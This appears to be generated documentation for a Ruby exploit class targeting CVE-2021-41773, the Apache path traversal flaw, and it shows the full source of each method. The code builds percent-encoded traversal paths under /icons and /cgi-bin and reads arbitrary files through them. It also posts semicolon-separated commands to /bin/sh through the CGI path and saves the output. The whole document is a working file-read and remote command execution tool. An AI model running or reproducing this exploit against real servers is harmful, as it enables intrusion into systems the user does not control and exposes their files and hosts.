class CVE202141773

This class implements methods to exploit CVE-2021-41773 to print file or/and execute command with ruby.

Public Class Methods

generate_random_path() click to toggle source

This function generates a random path

# File CVE-2021-41773.rb, line 89
def self.generate_random_path
  characters = Array('A'..'Z') + Array('a'..'z')
  files = []
  Array(1..4).sample.times do
    files.push(Array.new(Array(2..7).sample) { characters.sample }.join)
  end
  files.join('/')
end
get_stdin_host() click to toggle source

This function gets target host from the STDIN

# File CVE-2021-41773.rb, line 81
def self.get_stdin_host
  print 'Host (target): '
  gets.strip
end
main() click to toggle source

The main function to launch the attack

# File CVE-2021-41773.rb, line 139
def self.main
  arguments = parse_args

  url = "http://#{arguments.host}#{arguments.path}"
  response = nil

  if arguments.commands
    uri = URI(url)
    request = Net::HTTP::Post.new(uri)
    request.body = "echo Content-Type: text/plain;echo;#{arguments.commands}"
  elsif arguments.file
    uri = URI(url)
    request = Net::HTTP::Get.new(uri)
  else
    uri = URI("#{url}/#{generate_random_path}")
    request = Net::HTTP::Get.new(uri)
  end

  Net::HTTP.start(
    uri.hostname, uri.port,
    use_ssl: uri.scheme == 'https'
  ) { |http| response = http.request(request) }

  detect_only = (arguments.commands.nil? and arguments.file.nil?)
  bad_payload = (response.code == '403' or response.code == '404')
  good_payload = (response.code == '200')
  not_vulnerable = (response.code == '400')

  if (detect_only && bad_payload) || good_payload
    puts "[+] Target: #{arguments.host} is vulnerable"

    arguments.output.write(response.body) unless detect_only

    0
  elsif bad_payload
    puts(
      "[-] Target: #{arguments.host} is vulnerable but this payload is not" \
      " working (HTTP error #{response.code})."
    )
    2
  elsif not_vulnerable
    puts "[-] Target: #{arguments.host} is not vulnerable"
    1
  else
    puts "[-] Target: #{arguments.host} status unknown " \
         "(HTTP error #{response.code})."
    127
  end
end
parse_args() click to toggle source

This function parse command line arguments

# File CVE-2021-41773.rb, line 101
def self.parse_args
  options = OpenStruct.new
  options.output = $stdout
  options.path = '/icons/.%2e/%2e%2e/%2e%2e/%2e%2e'

  OptionParser.new do |opt|
    opt.on(
      '-c',
      '--commands COMMAND1;COMMAND2;...',
      'A list of semicolon-separate commands.'
    ) do |commands|
      options.commands = commands
      options.path = '/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh'
    end
    opt.on(
      '-f', '--file FILENAME', 'A file to print'
    ) do |filename|
      options.file = filename
      options.path += if filename[0] == '/'
                        filename
                      else
                        "/#{filename}"
                      end
    end
    opt.on(
      '-o',
      '--output FILENAME',
      'A output file to write file or command output'
    ) { |filename| options.output = File.new(filename, 'w') }
  end.parse!

  options.host = ARGV[0] || get_stdin_host
  options
end